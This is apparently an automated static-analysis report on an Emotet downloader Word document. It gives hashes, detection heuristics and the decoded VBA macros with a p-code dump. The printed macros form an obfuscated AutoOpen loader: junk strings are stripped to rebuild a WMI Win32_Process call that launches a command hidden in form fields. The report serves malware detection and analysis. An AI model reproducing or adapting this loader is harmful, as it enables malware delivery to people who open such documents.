Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7445f7cba0cc2574…

MALICIOUS

Office (OLE)

214.5 KB Created: 2019-09-24 22:42:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: 41338317db28216f3390ff9da6e5599c SHA-1: f34b64f0efe5566e82e3a85f23a4b14401fd540f SHA-256: 7445f7cba0cc25743d9c9ff0378428f88c0e5bae344e23916c42d08b8addcf32
250 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7179537-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7179537-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Ioczucfr = CreateObject(T43okwjm("abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs")).Create(P47aubvn, Xikzu4al, Tmonjti, Quqj2l)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Ioczucfr = CreateObject(T43okwjm("abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs")).Create(P47aubvn, Xikzu4al, Tmonjti, Quqj2l)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10735 bytes
SHA-256: 22cb1a03494f62267551f8efc770ff7834b3fe0758c8dd1680e98986c8918808
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kc4z90"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "A7njquv, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Vripzzw, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Azi0ta, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Wzh9jn, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Xq7niw0, 4, 4, MSForms, TextBox"
Attribute VB_Control = "T5w5v0, 5, 5, MSForms, TextBox"
Attribute VB_Control = "M01o01, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Ttmhlz, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Bjwiuz0, 8, 8, MSForms, TextBox"
Attribute VB_Control = "R0q6ft, 9, 9, MSForms, TextBox"
Attribute VB_Control = "E07wdv, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Rsrpbio, 11, 11, MSForms, TextBox"
Attribute VB_Control = "Xwn18da7, 12, 12, MSForms, TextBox"
Attribute VB_Control = "Rruik5, 13, 13, MSForms, TextBox"
Attribute VB_Control = "Arvmkui, 14, 14, MSForms, TextBox"
Attribute VB_Control = "Aszd574, 15, 15, MSForms, TextBox"
Attribute VB_Control = "W4adc7, 16, 16, MSForms, TextBox"
Attribute VB_Control = "C36mpi, 17, 17, MSForms, TextBox"

Attribute VB_Name = "Tj6iom"
Private Const Wurhwj As String = "Tdqhhfc"
Private Const Eh98fnj9 As String = "Zmjn5v5f"
Private Const Z8kwww86 As String = "G5pcr5dn"
Private Const E9ikb5 As String = "Slcz9ji"
Private X9hfdc      As String
Private Hw8wzhjr      As Boolean
Private Tozkuzi      As Integer
Private How0w292      As String
Private Euvcah9t      As Boolean
Private Qv90qv      As Integer
Function Yarcrs5()
Dim QTWtZErDjdf58, yJmstOGACXJ25 As Integer
yJmstOGACXJ25 = 5997
For QTWtZErDjdf58 = 0 To 64
yJmstOGACXJ25 = yJmstOGACXJ25 + QTWtZErDjdf58
DoEvents
Next QTWtZErDjdf58
P47aubvn = T43okwjm(Kc4z90.Xwn18da7 + Kc4z90.M01o01)
Dim TUTNZOqqibr88, wCcSKltiMUl25 As Integer
wCcSKltiMUl25 = 8633
For TUTNZOqqibr88 = 0 To 41
wCcSKltiMUl25 = wCcSKltiMUl25 + TUTNZOqqibr88
DoEvents
Next TUTNZOqqibr88
Ioczucfr = CreateObject(T43okwjm("abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs")).Create(P47aubvn, Xikzu4al, Tmonjti, Quqj2l)
Dim FzYQrbbOQoH73, aupEPSOdlLq97 As Integer
aupEPSOdlLq97 = 6219
For FzYQrbbOQoH73 = 0 To 31
aupEPSOdlLq97 = aupEPSOdlLq97 + FzYQrbbOQoH73
DoEvents
Next FzYQrbbOQoH73
End Function
Function T43okwjm(Zfmz95q)
Dim ePXsrqBnovG11, krXkSxRRPYC67 As Integer
krXkSxRRPYC67 = 6824
For ePXsrqBnovG11 = 0 To 41
krXkSxRRPYC67 = krXkSxRRPYC67 + ePXsrqBnovG11
DoEvents
Next ePXsrqBnovG11
T43okwjm = Replace(Zfmz95q, Replace("ghuaswaghuaswbghuaswghuaswcghuaswsghuasw", "ghuasw", ""), "")
End Function


Attribute VB_Name = "Wcp3l5q"
Private Const Ejmi32 As String = "Hmszs2"
Private Const Okwwnum As String = "Wn8osf"
Private Const Za5b57tf As String = "Afvub1i1"
Private Const Ui7ulnvd As String = "Q7l1vr"
Private Gi5hitn      As String
Private Zc86svf      As Boolean
Private Kaqjbf      As Integer
Private Nttvwjfa      As String
Private Eh1c7zp      As Boolean
Private Ahfa71hn      As Integer
Sub autoopen()
Dim uOklhWQhYWy59, ZSAFuBaJITW86 As Integer
ZSAFuBaJITW86 = 3834
For uOklhWQhYWy59 = 0 To 72
ZSAFuBaJITW86 = ZSAFuBaJITW86 + uOklhWQhYWy59
DoEvents
Next uOklhWQhYWy59
Yarcrs5
End Sub
Function Tmonjti()
Dim nHawMATDJVP31, jVEmvqexVip47 As Integer
jVEmvqexVip47 = 3174
For nHawMATDJVP31 = 0 To 34
jVEmvqexVip47 = jVEmvqexVip47 + nHawMATDJVP31
DoEvents
Next nHawMATDJVP31
Ioczucfr$ = N3p7z1 + Uftrv0
Dim VcCvtrqAOfe57, smqENjBHQBO42 As Integer
smqENjBHQBO42 = 2331
For VcCvtrqAOfe57 = 0 To 47
smqENjBHQBO42 = smqENjBHQBO42 + VcCvtrqAOfe57
DoEvents
Next VcCvtrqAOfe57
Set Tmonjti = CreateObject(T43okwjm(Kc4z90.Wzh9jn))
Tmonjti.ShowWindow! = Ioczucfr
Dim BUmwdeMrtjM46, hLtFpdeLzbf64 As Integer
hLtFpdeLzbf64 = 8658
For BUmwdeMrtjM46 = 0 To 17
hLtFpdeLzbf64 = hLtFpdeLzbf64 + BUmwdeMrtjM46
DoEvents
Next BUmwdeMrtjM46
End Function


' Processing file: /opt/analyzer/scan_staging/fa938fc47a1c49bcaab9056ba322410e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Kc4z90 - 3271 bytes
' Macros/VBA/Tj6iom - 3341 bytes
' Line #0:
' 	Dim (Private Const) 
' 	LitStr 0x0007 "Tdqhhfc"
' 	VarDefn Wurhwj (As String)
' Line #1:
' 	Dim (Private Const) 
' 	LitStr 0x0008 "Zmjn5v5f"
' 	VarDefn Eh98fnj9 (As String)
' Line #2:
' 	Dim (Private Const) 
' 	LitStr 0x0008 "G5pcr5dn"
' 	VarDefn Z8kwww86 (As String)
' Line #3:
' 	Dim (Private Const) 
' 	LitStr 0x0007 "Slcz9ji"
' 	VarDefn E9ikb5 (As String)
' Line #4:
' 	Dim (Private) 
' 	VarDefn X9hfdc (As String) 0x0014
' Line #5:
' 	Dim (Private) 
' 	VarDefn Hw8wzhjr (As Boolean) 0x0016
' Line #6:
' 	Dim (Private) 
' 	VarDefn Hw8wzhjr (As Integer) 0x0015
' Line #7:
' 	Dim (Private) 
' 	VarDefn Tozkuzi (As String) 0x0016
' Line #8:
' 	Dim (Private) 
' 	VarDefn How0w292 (As Boolean) 0x0016
' Line #9:
' 	Dim (Private) 
' 	VarDefn Euvcah9t (As Integer) 0x0014
' Line #10:
' 	FuncDefn (Function Qv90qv())
' Line #11:
' 	Dim 
' 	VarDefn Yarcrs5
' 	VarDefn QTWtZErDjdf58 (As Integer)
' Line #12:
' 	LitDI2 0x176D 
' 	St QTWtZErDjdf58 
' Line #13:
' 	StartForVariable 
' 	Ld Yarcrs5 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0040 
' 	For 
' Line #14:
' 	Ld QTWtZErDjdf58 
' 	Ld Yarcrs5 
' 	Add 
' 	St QTWtZErDjdf58 
' Line #15:
' 	ArgsCall DoEvents 0x0000 
' Line #16:
' 	StartForVariable 
' 	Ld Yarcrs5 
' 	EndForVariable 
' 	NextVar 
' Line #17:
' 	Ld Kc4z90 
' 	MemLd Xwn18da7 
' 	Ld Kc4z90 
' 	MemLd M01o01 
' 	Add 
' 	ArgsLd P47aubvn 0x0001 
' 	St yJmstOGACXJ25 
' Line #18:
' 	Dim 
' 	VarDefn T43okwjm
' 	VarDefn TUTNZOqqibr88 (As Integer)
' Line #19:
' 	LitDI2 0x21B9 
' 	St TUTNZOqqibr88 
' Line #20:
' 	StartForVariable 
' 	Ld T43okwjm 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0029 
' 	For 
' Line #21:
' 	Ld TUTNZOqqibr88 
' 	Ld T43okwjm 
' 	Add 
' 	St TUTNZOqqibr88 
' Line #22:
' 	ArgsCall DoEvents 0x0000 
' Line #23:
' 	StartForVariable 
' 	Ld T43okwjm 
' 	EndForVariable 
' 	NextVar 
' Line #24:
' 	Ld yJmstOGACXJ25 
' 	Ld Create 
' 	Ld Xikzu4al 
' 	Ld Tmonjti 
' 	LitStr 0x0042 "abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs"
' 	ArgsLd P47aubvn 0x0001 
' 	ArgsLd Ioczucfr 0x0001 
' 	ArgsMemLd CreateObject 0x0004 
' 	St wCcSKltiMUl25 
' Line #25:
' 	Dim 
' 	VarDefn Quqj2l
' 	VarDefn FzYQrbbOQoH73 (As Integer)
' Line #26:
' 	LitDI2 0x184B 
' 	St FzYQrbbOQoH73 
' Line #27:
' 	StartForVariable 
' 	Ld Quqj2l 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x001F 
' 	For 
' Line #28:
' 	Ld FzYQrbbOQoH73 
' 	Ld Quqj2l 
' 	Add 
' 	St FzYQrbbOQoH73 
' Line #29:
' 	ArgsCall DoEvents 0x0000 
' Line #30:
' 	StartForVariable 
' 	Ld Quqj2l 
' 	EndForVariable 
' 	NextVar 
' Line #31:
' 	EndFunc 
' Line #32:
' 	FuncDefn (Function P47aubvn(aupEPSOdlLq97))
' Line #33:
' 	Dim 
' 	VarDefn Zfmz95q
' 	VarDefn ePXsrqBnovG11 (As Integer)
' Line #34:
' 	LitDI2 0x1AA8 
' 	St ePXsrqBnovG11 
' Line #35:
' 	StartForVariable 
' 	Ld Zfmz95q 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0029 
' 	For 
' Line #36:
' 	Ld ePXsrqBnovG11 
' 	Ld Zfmz95q 
' 	Add 
' 	St ePXsrqBnovG11 
' Line #37:
' 	ArgsCall DoEvents 0x0000 
' Line #38:
' 	StartForVariable 
' 	Ld Zfmz95q 
' 	EndForVariable 
' 	NextVar 
' Line #39:
' 	Ld aupEPSOdlLq97 
' 	LitStr 0x0028 "ghuaswaghuaswbghuaswghuaswcghuaswsghuasw"
' 	LitStr 0x0006 "ghuasw"
' 	LitStr 0x0000 ""
' 	ArgsLd krXkSxRRPYC67 0x0003 
' 	LitStr 0x0000 ""
' 	ArgsLd krXkSxRRPYC67 0x0003 
' 	St P47aubvn 
' Line #40:
' 	EndFunc 
' Line #41:
' Macros/VBA/Wcp3l5q - 3056 bytes
' Line #0:
' 	Dim (Private Const) 
' 	LitStr 0x0006 "Hmszs2"
' 	VarDefn Wcp3l5q (As String)
' Line #1:
' 	Dim (Private Const) 
' 	LitStr 0x0006 "Wn8osf"
' 	VarDefn Ejmi32 (As String)
' Line #2:
' 	Dim (Private Const) 
' 	LitStr 0x0008 "Afvub1i1"
' 	VarDefn Okwwnum (As String)
' Line #3:
' 	Dim (Private Const) 
' 	LitStr 0x0006 "Q7l1vr"
' 	VarDefn Za5b57tf (As String)
' Line #4:
' 	Dim (Private) 
' 	VarDefn Ui7ulnvd (As String) 0x0015
' Line #5:
' 	Dim (Private) 
' 	VarDefn Gi5hitn (As Boolean) 0x0015
' Line #6:
' 	Dim (Private) 
' 	VarDefn Zc86svf (As Integer) 0x0014
' Line #7:
' 	Dim (Private) 
' 	VarDefn Kaqjbf (As String) 0x0016
' Line #8:
' 	Dim (Private) 
' 	VarDefn Nttvwjfa (As Boolean) 0x0015
' Line #9:
' 	Dim (Private) 
' 	VarDefn Eh1c7zp (As Integer) 0x0016
' Line #10:
' 	FuncDefn (Sub Ahfa71hn())
' Line #11:
' 	Dim 
' 	VarDefn autoopen
' 	VarDefn uOklhWQhYWy59 (As Integer)
' Line #12:
' 	LitDI2 0x0EFA 
' 	St uOklhWQhYWy59 
' Line #13:
' 	StartForVariable 
' 	Ld autoopen 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0048 
' 	For 
' Line #14:
' 	Ld uOklhWQhYWy59 
' 	Ld autoopen 
' 	Add 
' 	St uOklhWQhYWy59 
' Line #15:
' 	ArgsCall DoEvents 0x0000 
' Line #16:
' 	StartForVariable 
' 	Ld autoopen 
' 	EndForVariable 
' 	NextVar 
' Line #17:
' 	ArgsCall Qv90qv 0x0000 
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Function Xikzu4al())
' Line #20:
' 	Dim 
' 	VarDefn ZSAFuBaJITW86
' 	VarDefn nHawMATDJVP31 (As Integer)
' Line #21:
' 	LitDI2 0x0C66 
' 	St nHawMATDJVP31 
' Line #22:
' 	StartForVariable 
' 	Ld ZSAFuBaJITW86 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0022 
' 	For 
' Line #23:
' 	Ld nHawMATDJVP31 
' 	Ld ZSAFuBaJITW86 
' 	Add 
' 	St nHawMATDJVP31 
' Line #24:
' 	ArgsCall DoEvents 0x0000 
' Line #25:
' 	StartForVariable 
' 	Ld ZSAFuBaJITW86 
' 	EndForVariable 
' 	NextVar 
' Line #26:
' 	Ld jVEmvqexVip47 
' 	Ld N3p7z1 
' 	Add 
' 	St wCcSKltiMUl25$ 
' Line #27:
' 	Dim 
' 	VarDefn Uftrv0
' 	VarDefn VcCvtrqAOfe57 (As Integer)
' Line #28:
' 	LitDI2 0x091B 
' 	St VcCvtrqAOfe57 
' Line #29:
' 	StartForVariable 
' 	Ld Uftrv0 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x002F 
' 	For 
' Line #30:
' 	Ld VcCvtrqAOfe57 
' 	Ld Uftrv0 
' 	Add 
' 	St VcCvtrqAOfe57 
' Line #31:
' 	ArgsCall DoEvents 0x0000 
' Line #32:
' 	StartForVariable 
' 	Ld Uftrv0 
' 	EndForVariable 
' 	NextVar 
' Line #33:
' 	SetStmt 
' 	Ld Kc4z90 
' 	MemLd Wzh9jn 
' 	ArgsLd P47aubvn 0x0001 
' 	ArgsLd Ioczucfr 0x0001 
' 	Set Xikzu4al 
' Line #34:
' 	Ld wCcSKltiMUl25 
' 	Ld Xikzu4al 
' 	MemSt smqENjBHQBO42! 
' Line #35:
' 	Dim 
' 	VarDefn ShowWindow
' 	VarDefn BUmwdeMrtjM46 (As Integer)
' Line #36:
' 	LitDI2 0x21D2 
' 	St BUmwdeMrtjM46 
' Line #37:
' 	StartForVariable 
' 	Ld ShowWindow 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0011 
' 	For 
' Line #38:
' 	Ld BUmwdeMrtjM46 
' 	Ld ShowWindow 
' 	Add 
' 	St BUmwdeMrtjM46 
' Line #39:
' 	ArgsCall DoEvents 0x0000 
' Line #40:
' 	StartForVariable 
' 	Ld ShowWindow 
' 	EndForVariable 
' 	NextVar 
' Line #41:
' 	EndFunc 
' Line #42:

Open this report in the interactive analyzer, or submit your own file for analysis.